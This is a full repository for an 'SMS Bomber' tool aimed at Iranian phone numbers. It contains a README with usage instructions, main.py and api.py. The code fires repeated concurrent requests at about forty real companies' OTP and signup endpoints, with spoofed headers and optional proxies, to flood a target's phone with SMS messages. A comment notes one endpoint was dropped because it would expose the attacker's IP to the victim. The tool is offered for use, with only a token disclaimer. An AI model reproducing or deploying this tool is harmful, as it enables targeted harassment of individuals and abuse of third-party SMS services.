├── requirements.txt
├── LICENSE
├── README.md
├── main.py
└── api.py
/requirements.txt:
--------------------------------------------------------------------------------
1 | alive_progress==3.1.5
2 | colorama==0.4.6
3 | fake_headers==1.0.2
4 | Requests==2.32.0
5 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 Nima
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
💣 SMS Bomber 💣
3 |
4 |
5 |
A freely available and open-source SMS bombing application tailored for use in Iran.
6 |
7 |
8 | > [!CAUTION]
9 | > ### Before Proceeding with the SMS Bomber, Please Note the Following:
10 | > - **Active Internet Connection:** Ensure that your device has an active internet connection to contact the required APIs.
11 | > - **No Charges for SMS:** You will not be charged for any SMS dispatched as a consequence of using this script.
12 | > - **Python 3 and Latest Version:** Always ensure that you are using the latest version of the SMS Bomber and have Python 3 installed on your system.
13 | > - **No Harmful Use:** This application must not be used to cause harm, discomfort, or trouble to others. Respect the privacy and well-being of individuals.
14 |
15 | ## ✅ Installation
16 | Clone the github repo
17 | ```bash
18 | git clone https://github.com/NimaWasTaken/SMS-Bomber.git
19 | ```
20 | Change Directory
21 | ```bash
22 | cd SMS-Bomber
23 | ```
24 |
25 | Use the package manager [pip](https://pip.pypa.io/en/stable/getting-started/) to install the requirements.
26 | ```bash
27 | pip install -r requirements.txt
28 | ```
29 |
30 | ## ❓ Usage
31 | To use the SMS bombing tool, you can run the `main.py` script with the appropriate command-line arguments. Here's an overview of the available options:
32 |
33 | ```diff
34 | usage: main.py target [-h] [-c COUNT] [-t THREADS] [-v] [-x PROXY]
35 |
36 | SMS Bombing Tool
37 |
38 | positional arguments:
39 | target The target phone number (format: 09xxxxxxxxx)
40 |
41 | optional arguments:
42 | -h, --help show this help message and exit
43 | -c COUNT, --count COUNT Number of times to bomb the target phone number (default is 1)
44 | -t THREADS, --threads THREADS Number of concurrent threads to use for bombing (default is 5)
45 | -v, --verbose Display additional information during the bombing process
46 | -x PROXY, --proxy PROXY Set a proxy server for requests (http/https)
47 | ```
48 | ### Example Usage
49 | To bomb a phone number with default settings:
50 | ```bash
51 | python main.py 09xxxxxxxxx
52 | ```
53 | To specify the number of bombing times and threads:
54 | ```bash
55 | python main.py 09xxxxxxxxx -c 10 -t 3
56 | ```
57 | To enable verbose mode and set a proxy server:
58 | ```bash
59 | python main.py 09xxxxxxxxx -v -x http://proxy.example.com:8080
60 | ```
61 |
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | # Standard Libraries
2 | import argparse # Module for parsing command-line arguments
3 | import concurrent.futures # Module for parallel execution
4 | import signal # Module for signal handling
5 | from datetime import datetime # Module for handling dates and times
6 | from os import _exit # Module for exiting the program
7 |
8 | # Third-Party Libraries
9 | import requests # HTTP library for making requests
10 | from alive_progress import alive_bar # Progress bar library
11 | from colorama import init, Fore, Style # Library for colored output
12 | from fake_headers import Headers # Library for generating fake HTTP headers
13 |
14 | # Custom Module
15 | from api import send_otp_requests # Module for sending OTP requests
16 |
17 |
18 | def parse_arguments():
19 | """
20 | Parse command-line arguments.
21 | """
22 | parser = argparse.ArgumentParser(description="SMS Bombing Tool")
23 | parser.add_argument("target", help="The target phone number")
24 | parser.add_argument(
25 | "-c",
26 | "--count",
27 | help="Number of times to bomb the target phone number (default is 1)",
28 | type=int,
29 | default=1,
30 | )
31 | parser.add_argument(
32 | "-t",
33 | "--threads",
34 | help="Number of concurrent threads to use for bombing (default is 5)",
35 | type=int,
36 | default=5,
37 | )
38 | parser.add_argument(
39 | "-v",
40 | "--verbose",
41 | help="Display additional information during the bombing process",
42 | action="store_true",
43 | )
44 | parser.add_argument(
45 | "-x",
46 | "--proxy",
47 | help="Set a proxy server for requests (http/https)",
48 | )
49 |
50 | args = parser.parse_args()
51 |
52 | return args.target, args.count, args.threads, args.verbose, args.proxy
53 |
54 |
55 | def send_request(api_name, api_url, data, timeout, proxy=None):
56 | """
57 | Send HTTP request to the specified API.
58 | """
59 | headers = Headers()
60 | generated_headers = headers.generate()
61 | current_time = datetime.now().strftime(f"{Style.BRIGHT}%H:%M:%S{Style.NORMAL}")
62 | response = None
63 |
64 | try:
65 | response = requests.post(
66 | api_url,
67 | headers=generated_headers,
68 | json=data,
69 | timeout=timeout,
70 | proxies=proxy,
71 | )
72 | response.raise_for_status()
73 |
74 | return f"{Fore.YELLOW}[{current_time}] {Fore.GREEN}{Style.BRIGHT}[+] {api_name}{Style.NORMAL} => {Style.BRIGHT}OK"
75 | except requests.exceptions.RequestException as e:
76 | if hasattr(e, "response") and hasattr(e.response, "status_code"):
77 | error_code = e.response.status_code
78 | else:
79 | error_code = "Unknown"
80 | return f"{Fore.YELLOW}[{current_time}] {Fore.RED}{Style.BRIGHT}[-] {api_name}{Style.NORMAL} => {Style.BRIGHT}Error {error_code}"
81 |
82 |
83 | def process_target(api, proxy):
84 | """
85 | Process the target API.
86 | """
87 | return send_request(api["name"], api["url"], api["data"], timeout=2.5, proxy=proxy)
88 |
89 |
90 | def handle_sigint(signal, frame):
91 | """
92 | Handle SIGINT signal.
93 | """
94 | print(f"\n{Fore.YELLOW}{Style.BRIGHT}[!] User interrupted the process.")
95 | _exit(1)
96 |
97 |
98 | def display_results(futures):
99 | """
100 | Print results of the bombing process.
101 | """
102 | results = [future.result() for future in futures]
103 | succeeded = [result for result in results if "OK" in result]
104 | failed = [result for result in results if "Error" in result]
105 |
106 | print(
107 | f"\n{Style.BRIGHT}{Fore.YELLOW}[?]{Fore.RESET} Succeeded: {Fore.GREEN}{len(succeeded)}, "
108 | f"{Style.BRIGHT}Failed: {Fore.RED}{len(failed)}"
109 | )
110 |
111 |
112 | def main():
113 | """
114 | Main function to run the SMS bombing tool.
115 | """
116 | init(autoreset=True)
117 |
118 | signal.signal(signal.SIGINT, handle_sigint)
119 | target, count, threads, verbose, proxy = parse_arguments()
120 | proxy_dict = {"http": proxy, "https": proxy} if proxy else None
121 |
122 | if proxy:
123 | print(f"{Fore.MAGENTA}{Style.BRIGHT}[?] Using proxy: {proxy}")
124 |
125 | apis = send_otp_requests(target)
126 |
127 | with alive_bar(count * len(apis), theme="smooth") as progress_bar:
128 | with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
129 | futures = [
130 | executor.submit(process_target, api, proxy_dict) for api in apis * count
131 | ]
132 |
133 | for future in concurrent.futures.as_completed(futures):
134 | progress_bar()
135 | result = future.result()
136 | if verbose:
137 | if "OK" in result:
138 | print(f"{Fore.GREEN}{result}")
139 | else:
140 | print(f"{Fore.RED}{result}")
141 |
142 | display_results(futures)
143 | print("SMS bombing completed successfully.")
144 |
145 |
146 | if __name__ == "__main__":
147 | main()
148 |
--------------------------------------------------------------------------------
/api.py:
--------------------------------------------------------------------------------
1 | def send_otp_requests(phone_number):
2 | """
3 | Generates a list of APIs along with their respective URLs and data payloads
4 | for sending OTP requests to the provided phone number.
5 |
6 | Parameters:
7 | phone_number (str): The target phone number to which OTP requests will be sent.
8 |
9 | Returns:
10 | list: A list of dictionaries containing API details, including name, URL, and data.
11 | """
12 | apis = [
13 | {
14 | "name": "Snapp V1",
15 | "url": "https://api.snapp.ir/api/v1/sms/link",
16 | "data": {"phone": phone_number},
17 | },
18 | {
19 | "name": "Snapp V2",
20 | "url": f"https://digitalsignup.snapp.ir/ds3/api/v3/otp?utm_source=snapp.ir&utm_medium=website-button&utm_campaign=menu&cellphone={phone_number}",
21 | "data": {"cellphone": phone_number},
22 | },
23 | {
24 | "name": "Achareh",
25 | "url": "https://api.achareh.co/v2/accounts/login/",
26 | "data": {"phone": f"98{phone_number[1:]}"},
27 | },
28 | {
29 | "name": "Zigap",
30 | "url": "https://zigap.smilinno-dev.com/api/v1.6/authenticate/sendotp",
31 | "data": {"phoneNumber": f"+98{phone_number[1:]}"},
32 | },
33 | {
34 | "name": "Jabama",
35 | "url": "https://gw.jabama.com/api/v4/account/send-code",
36 | "data": {"mobile": phone_number},
37 | },
38 | {
39 | "name": "Banimode",
40 | "url": "https://mobapi.banimode.com/api/v2/auth/request",
41 | "data": {"phone": phone_number},
42 | },
43 | {
44 | "name": "Classino",
45 | "url": "https://student.classino.com/otp/v1/api/login",
46 | "data": {"mobile": phone_number},
47 | },
48 | {
49 | "name": "Digikala V1",
50 | "url": "https://api.digikala.com/v1/user/authenticate/",
51 | "data": {"username": phone_number, "otp_call": False},
52 | },
53 | {
54 | "name": "Digikala V2",
55 | "url": "https://api.digikala.com/v1/user/forgot/check/",
56 | "data": {"username": phone_number},
57 | },
58 | {
59 | "name": "Sms.ir",
60 | "url": "https://appapi.sms.ir/api/app/auth/sign-up/verification-code",
61 | "data": phone_number,
62 | },
63 | {
64 | "name": "Alibaba",
65 | "url": "https://ws.alibaba.ir/api/v3/account/mobile/otp",
66 | "data": {"phoneNumber": phone_number[1:]},
67 | },
68 | {
69 | "name": "Divar",
70 | "url": "https://api.divar.ir/v5/auth/authenticate",
71 | "data": {"phone": phone_number},
72 | },
73 | {
74 | "name": "Sheypoor",
75 | "url": "https://www.sheypoor.com/api/v10.0.0/auth/send",
76 | "data": {"username": phone_number},
77 | },
78 | {
79 | "name": "Bikoplus",
80 | "url": "https://bikoplus.com/account/check-phone-number",
81 | "data": {"phoneNumber": phone_number},
82 | },
83 | {
84 | "name": "Mootanroo",
85 | "url": "https://api.mootanroo.com/api/v3/auth/send-otp",
86 | "data": {"PhoneNumber": phone_number},
87 | },
88 | {
89 | "name": "Tap33",
90 | "url": "https://tap33.me/api/v2/user",
91 | "data": {"credential": {"phoneNumber": phone_number, "role": "BIKER"}},
92 | },
93 | {
94 | "name": "Tapsi",
95 | "url": "https://api.tapsi.ir/api/v2.2/user",
96 | "data": {
97 | "credential": {"phoneNumber": phone_number, "role": "DRIVER"},
98 | "otpOption": "SMS",
99 | },
100 | },
101 | {
102 | "name": "GapFilm",
103 | "url": "https://core.gapfilm.ir/api/v3.1/Account/Login",
104 | "data": {"Type": "3", "Username": phone_number[1:]},
105 | },
106 | {
107 | "name": "IToll",
108 | "url": "https://app.itoll.com/api/v1/auth/login",
109 | "data": {"mobile": phone_number},
110 | },
111 | {
112 | "name": "Anargift",
113 | "url": "https://api.anargift.com/api/v1/auth/auth",
114 | "data": {"mobile_number": phone_number},
115 | },
116 | {
117 | "name": "Nobat",
118 | "url": "https://nobat.ir/api/public/patient/login/phone",
119 | "data": {"mobile": phone_number[1:]},
120 | },
121 | {
122 | "name": "Lendo",
123 | "url": "https://api.lendo.ir/api/customer/auth/send-otp",
124 | "data": {"mobile": phone_number},
125 | },
126 | {
127 | "name": "Hamrah-Mechanic",
128 | "url": "https://www.hamrah-mechanic.com/api/v1/membership/otp",
129 | "data": {"PhoneNumber": phone_number},
130 | },
131 | {
132 | "name": "Abantether",
133 | "url": "https://abantether.com/users/register/phone/send/",
134 | "data": {"phoneNumber": phone_number},
135 | },
136 | {
137 | "name": "OKCS",
138 | "url": "https://my.okcs.com/api/check-mobile",
139 | "data": {"mobile": phone_number},
140 | },
141 | {
142 | "name": "Tebinja",
143 | "url": "https://www.tebinja.com/api/v1/users",
144 | "data": {"username": phone_number},
145 | },
146 | {
147 | "name": "Bit24",
148 | "url": "https://bit24.cash/auth/bit24/api/v3/auth/check-mobile",
149 | "data": {"mobile": phone_number},
150 | },
151 | {
152 | "name": "Rojashop",
153 | "url": "https://rojashop.com/api/send-otp-register",
154 | "data": {"mobile": phone_number},
155 | },
156 | {
157 | "name": "Paklean",
158 | "url": "https://client.api.paklean.com/download",
159 | "data": {"tel": phone_number},
160 | },
161 | {
162 | "name": "Khodro45",
163 | "url": "https://khodro45.com/api/v1/customers/otp/",
164 | "data": {"mobile": phone_number},
165 | },
166 | {
167 | "name": "Delino",
168 | "url": "https://www.delino.com/user/register",
169 | "data": {"mobile": phone_number},
170 | },
171 | {
172 | "name": "DigikalaJet",
173 | "url": "https://api.digikalajet.ir/user/login-register/",
174 | "data": {"phone": phone_number},
175 | },
176 | {
177 | "name": "Miare",
178 | "url": "https://www.miare.ir/api/otp/driver/request/",
179 | "data": {"phone_number": phone_number},
180 | },
181 | {
182 | "name": "Dosma",
183 | "url": "https://app.dosma.ir/api/v1/account/send-otp/",
184 | "data": {"mobile": phone_number},
185 | },
186 | {
187 | "name": "Ostadkr",
188 | "url": "https://api.ostadkr.com/login",
189 | "data": {"mobile": phone_number},
190 | },
191 | {
192 | "name": "Sibbazar",
193 | "url": "https://sandbox.sibbazar.com/api/v1/user/invite",
194 | "data": {"username": phone_number},
195 | },
196 | {
197 | "name": "Namava",
198 | "url": "https://www.namava.ir/api/v1.0/accounts/registrations/by-phone/request",
199 | "data": {"UserName": f"+98{phone_number[1:]}"},
200 | },
201 | {
202 | "name": "Shab",
203 | "url": "https://api.shab.ir/api/fa/sandbox/v_1_4/auth/check-mobile",
204 | "data": {"mobile": phone_number},
205 | },
206 | {
207 | "name": "Bitpin",
208 | "url": "https://api.bitpin.org/v2/usr/signin/",
209 | "data": {"phone": phone_number},
210 | },
211 | {
212 | "name": "Taaghche",
213 | "url": "https://gw.taaghche.com/v4/site/auth/signup",
214 | "data": {"contact": phone_number},
215 | },
216 | # {
217 | # "name": "Digipay",
218 | # "url": "https://www.mydigipay.com/digipay/api/users/send-sms",
219 | # "data": {"cellNumber": phone_number},
220 | # }, # This one will send your IP to your target.
221 | ]
222 |
223 | return apis
224 |
--------------------------------------------------------------------------------